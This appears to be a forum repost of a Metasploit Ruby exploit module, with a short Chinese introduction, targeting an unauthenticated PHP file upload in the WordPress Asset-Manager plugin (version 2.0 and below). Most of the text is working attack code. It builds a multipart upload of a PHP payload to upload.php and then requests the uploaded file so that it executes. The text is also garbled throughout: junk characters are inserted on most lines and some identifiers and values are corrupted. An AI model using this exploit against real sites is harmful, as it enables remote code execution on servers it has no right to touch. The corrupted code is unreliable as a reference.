这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。) Y4 n+ Q, m9 C4 \- g1 l
, F# B; y! }$ S( ^) m) o4 J##
- P- t! A! |" o, U, c; ^# This file is part of the Metasploit Framework and may be subject to2 I+ n0 x f" \8 H l' w- b% W9 ?
# redistribution and commercial restrictions. Please see the Metasploit i0 e( [. a+ K* P* o. [! N
# Framework web site for more information on licensing and terms of use.
/ T) |3 y; B. R1 w# http://metasploit.com/framework/" l- Q: p6 |: n* v; U1 J
##
" {& L' q# T& G; E k8 V
+ u2 n1 j* S; Z+ N. ]4 |require 'msf/core'
# f4 K( F* ^# ^% o0 U- v' ~& mrequire 'msf/core/exploit/php_exe'# @7 j7 A5 p- J4 A- c% Q
; A: N' H9 K7 x* _1 @7 ~class Metasploit3 < Msf::Exploit::Remote
% ~ j# v" Q. m Rank = ExcellentRanking
+ [3 Q' |+ `& G, q$ d: ]+ [8 G % K. k. f: G7 m' T8 r
include Msf::Exploit::Remote::HttpClient i8 Q1 Y h; L* t2 \; j$ ]! Z! N) n
include Msf::Exploit: hpEXE1 b; g8 o" y) [/ `2 u7 Z
* l9 H. _3 r& p" O7 X def initialize(info = {})
/ t [% F# z' F; P: L4 R8 x' p super(update_info(info,- @* h$ f. E7 {8 \* k/ O3 M
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',: \" U- K* U. h
'Description' => %q{% b! r X. C+ `" G
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress: M% X1 K p' {- |2 j! \2 H
plugin. By abusing the upload.php file, a malicious user can upload a file to a v( a0 c- o( Z# d V
temp directory without authentication, which results in arbitrary code execution.
" B! l i! d; ? },
7 p0 W% }8 L/ C6 g 'Author' =>' I- e" ], f# ^+ i+ p7 A" S
[
8 `# F/ h$ n0 x$ g 'Sammy FORGIT', # initial discovery" r. F, ~; M; t, Z, l
'James Fitts <fitts.james[at]gmail.com>' # metasploit module4 ^6 C! K8 j6 i
],# E D6 V6 p9 f p, U
'License' => MSF_LICENSE,! [* q6 `; T0 ?
'References' =>2 U1 ]8 ]' J2 m, r( ?3 v
[
$ f5 D/ W9 e% d [ 'OSVDB', '82653' ],
& h1 A- w' r8 e: S5 j, z [ 'BID', '53809' ],
! g5 D$ u5 N0 I/ a+ z' j: h [ 'EDB', '18993' ],7 }' `9 c, t ]& R3 `& H/ V; B$ Y
[ 'URL', 'http:// www.myhack58.com /' ]: G* H# i1 W2 L, b- Z
],
. ~+ _8 F& c+ J7 `) S, c' X2 ?+ t 'Payload' =>& b/ \# O2 [1 X m# | |
{& ]0 {/ U* C, h/ f
'BadChars' => "\x00",
. Z* C* [( I. d `! o0 j },' e% O, u8 y* |
'Platform' => 'php',
5 ]/ r; R6 j0 ?! j& W 'Arch' => ARCH_PHP,
2 h5 V( O4 B$ P5 I: \ 'Targets' =>
! b/ `, u* z1 V& k, @9 s- q [
' I' ~5 ?, T; f4 i# r [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],' h6 a7 Z b# f! g1 z4 @+ J
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
" y+ }( }3 e6 Y' p ],8 h/ W# ]3 j3 O0 [
'DefaultTarget' => 0,) E1 X0 e6 y/ J- M
'DisclosureDate' => 'May 26 2012'))
* d3 G' Z. L4 E' o1 i) c) q& w
8 {- H: M9 H3 s. B7 K register_options(
: @2 {" k, T' g8 x [
% z4 Y' b; A1 z OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])- B& l+ g6 h* |6 V# a/ E8 A
], self.class)* F' x* u, |; P! N+ H
end$ u9 z8 W7 `3 y# ^( A' n
8 C- J: r$ [2 g- Q8 U
def exploit
$ ^* ^+ E2 k; _/ _' I uri = target_uri.path
. j+ e. y$ k) X( o uri << '/' if uri[-1,1] != '/'6 X& |. \; D$ H) {# L. a
peer = "#{rhost}:#{rport}"( Z' ?) X* ?7 F8 y- [- i }8 P$ P
payload_name = "#{rand_text_alpha(5)}.php"4 b8 ~% X* p) w2 d* M
php_payload = get_write_exec_payload(:unlink_self=>true)
9 y/ i) d) }- Q1 r$ X2 c7 `& |/ ~ 0 j7 A5 x, N- z7 E6 c" P
data = Rex::MIME::Message.new
4 e* s r u7 c# n# A$ R; b/ p data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") _& H7 Y% _3 L( c5 G9 q
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
6 {# u$ T% g+ q5 p0 [$ d 1 H; F$ ?& c+ D7 T4 ]
print_status("#{peer} - Uploading payload #{payload_name}")
5 s3 ~% G0 l0 Y1 b8 @7 O. O) F res = send_request_cgi({
. C; Z- l C) X0 Z! K 'method' => 'POST',% D: W! ^& _8 i6 ]
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
0 W& [& E, C! `3 J' `; Q 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ x7 Q9 _, a2 _( @/ r# |; v 'data' => post_data R8 j9 l' k' y/ }5 v
})! E7 c+ C8 p0 x, b
. M! u0 ~% B+ l% L8 N8 M c4 `& | Y1 y if not res or res.code != 200 or res.body !~ /#{payload_name}/
) L) G9 ^5 \0 p$ j' Y fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")5 h0 e# p2 C1 i# z( g
end
1 n7 g6 J2 u( ?1 E, I4 D
) ^! F7 q+ t) l5 ]" ]+ ` s print_status("#{peer} - Executing payload #{payload_name}"): ~/ _% I5 r+ i! U& \. X, d
res = send_request_raw({3 m) b2 o, f. Z& X7 F) s* p
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
6 ]- ?1 J+ g7 Q' f( m* y 'method' => 'GET'
X0 q) v) i% B8 Q* Y })
* @% _ D% L- A! k+ s . Z. |" c3 r' [2 X6 C9 e
if res and res.code != 2001 U0 w# U$ y; w3 u
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
" w( E2 R$ o2 [ end; s7 |1 `# K6 I2 q) G; K
end9 [1 r7 E O! n7 n* S" M" d+ ]' ^9 R% y
end
# }( r0 o& R r% N S: }# n- u5 E |